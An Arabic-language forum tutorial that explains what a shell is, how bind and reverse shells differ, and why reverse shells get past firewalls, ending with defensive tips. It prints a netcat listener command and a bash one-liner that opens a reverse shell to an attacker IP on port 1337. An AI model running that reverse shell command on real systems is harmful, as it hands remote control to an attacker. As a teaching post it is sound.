فهم Reverse Shell وفرقها عن BindShell

x32x01
  • بواسطة x32x01 ||
لو بتشتغل بالميتاسبلويت أو تتابع شروحات الاختراق الأخلاقي، غالبًا شفت كلمات زي reverse shell أو reverse tcp. البوست ده هيشرح الفكرة بطريقة سهلة: إيه هو (shell)، إزاي المهاجمين بيحاولوا يتحكموا في نظام عن بُعد، وإيه الفرق بين bind shell وreverse shell - كله بلغة بسيطة وأمثلة توضيحية.

إيه هي الـ shell أصلاً؟ 🐚

الـ shell هي واجهة بتديك إمكانية تكتب أوامر ويتنفّذها نظام التشغيل - يعني زي الـ “قشرة” اللي بتخليك تتحكم في النظام. أمثلة عليها:
  • Windows PowerShell
  • Windows Command Prompt (CMD)
  • bash
  • sh
  • dash
  • Korn shell
لو حصل وامتلكت وصول إلى interactive shell على جهاز تاني، دلوقتي تقدر تشغّل أوامر، تتنقّل في الملفات، وتتعامل مع النظام كأنك قاعد قدامه.

ليه المهاجم عايز Shell؟ 🎯

عشان يقدر ينفّذ أوامر، يرفع صلاحيات، يسرّق بيانات، أو يعمل تغييرات. لكن معظم الأجهزة محمية بجدران نارية وشبكات، فمش دايمًا تقدر تعمل اتصال مباشر من المهاجم للجهاز الضحية. هنا بييجي دور أنواع الصدفة المختلفة.

الفرق بين Bind Shell و Reverse Shell - بشكل مبسّط 👇


bind shell (الـ Bind Shell)​

  • الفكرة: الضحية بتشغّل خدمة “مستمع” (listener) على جهازها على بورت معين.
  • المهاجم بيتصل بالـ listener على الضحية ويبدأ يبعت أوامر.
  • عيبها: لازم المهاجم يعرف IP الضحية ويقدر يتصل بيه - وده غالبًا بيتوقف بجدار الحماية لأن الـ incoming connections عادة بتتمنع.

reverse shell (الـ Reverse Shell)​

  • الفكرة: المهاجم يشغّل مستمع على جهازه، والضحية هي اللي تتصل بالمهاجم (يعني الاتصال يتم بالعكس).
  • الميزة: المهاجم مش محتاج يعرف IP الضحية، والاتصال طالعه من الضحية لن يعمل جدار الحماية على منعه عادةً لأنها اتصال خارجي يبدأ من داخل الشبكة.
  • بكدا المهاجم يتحكم في الـ shell بعد نجاح الاتصال.

تلخيص الفارق في جملة واحدة​

  • Bind Shell: المستمع (listener) شغال على جهاز الضحية، والمهاجم هو اللي يتصل.
  • Reverse Shell: المستمع شغال على جهاز المهاجم، والضحية هي اللي تتصل - وده بيحل مشكلة الجدران النارية في كتير من الحالات.

ليه Bind Shell ممكن يفشل؟ 🔒

لأن جدران الحماية الحديثة بتمنع الاتصالات الواردة من الإنترنت، فحتى لو في بورت مفتوح على الضحية، الشبكات غالبًا هتمنعه. أما Reverse Shell فالاتصال طالع من داخل الضحية لعنوان المهاجم، وده أقلّ مقاومة من جدار الحماية.

مثال عملي (تعليمي وبسيط) - إعداد مستمع بـ netcat​

أولًا على جهازك (تجعل جهازك مستمع على بورت 1337):
Code:
ncat -l -p 1337
هنا -l معناها تشغيل وضع الاستماع، و-p 1337 تحديد رقم البورت 1337.

بعد كده، لو افترضنا جهاز الضحيه نظام لينكس، ممكن يكون شكل أمر الـ reverse shell بسيط زي المثال ده:
Code:
/bin/bash -i >& /dev/tcp/10.10.17.1/1337 0>&1
الأمر ده سببُه أن جهاز الضحية يتصل بـ IP المهاجم (مثال: 10.10.17.1) على البورت 1337، وبعد الاتصال المهاجم بيحصل على قشرة (shell).

نقاط عملية وملاحظات مهمة 🧭

  • في الحقيقية، ستجد أن المهاجمين المحترفين يستخدموا آليات متقدمة (تشفير، تغليف، قنوات متعددة، persistence...) لكن هنا الفكرة الأساسية اللي لازم تفهمها هي منطق اتصال الـ reverse vs bind.
  • الدفاع الفعّال يعتمد على: مراقبة الشبكة، كشف محاولات اتصالات خارجة غير متوقعة، استعمال IDS/IPS، وسياسات على الـ egress (منع اتصالات لخوادم مش موثوق فيها).

نصايح للمدافعين والمبتدئين 🔐

  • راقب أي اتصال صاعد (outgoing) إلى عناوين غير معروفة أو بورتات غير معتادة.
  • فعل logging للنشاط الشبكي وراجع الـ netflow دورياً.
  • اطّلع على البرامج اللي بتطلب فتح بورتات، وخصوصًا العمليات اللي تعمل sockets غير متوقعة.
  • اختبر بيئتك في مختبرات مغلقة (VMs أو شبكات اختبار) بدل ما تجرب على أنظمة حقيقية بدون إذن.

✨ الـ reverse shell مجرد آلية اتصال - وسلاح ذو حدين: يوضح قوة الوصول عن بُعد، لكنه كمان بيؤكّد إن الدفاعات الشبكية والرقابية مهمة جدًا. افهم الفكرة، اتدرّب في بيئة آمنة، والتزم دومًا بالأخلاقيات والقانون.
 
التعديل الأخير:
المواضيع ذات الصلة
x32x01
الردود
0
المشاهدات
538
x32x01
x32x01
x32x01
الردود
0
المشاهدات
599
x32x01
x32x01
x32x01
الردود
0
المشاهدات
779
x32x01
x32x01
x32x01
الردود
0
المشاهدات
739
x32x01
x32x01
x32x01
الردود
13
المشاهدات
2K
x32x01
x32x01
الدخول أو التسجيل السريع
نسيت كلمة مرورك؟
إحصائيات المنتدى
المواضيع
1,836
المشاركات
2,051
أعضاء أكتب كود
460
أخر عضو
jhghk
عودة
أعلى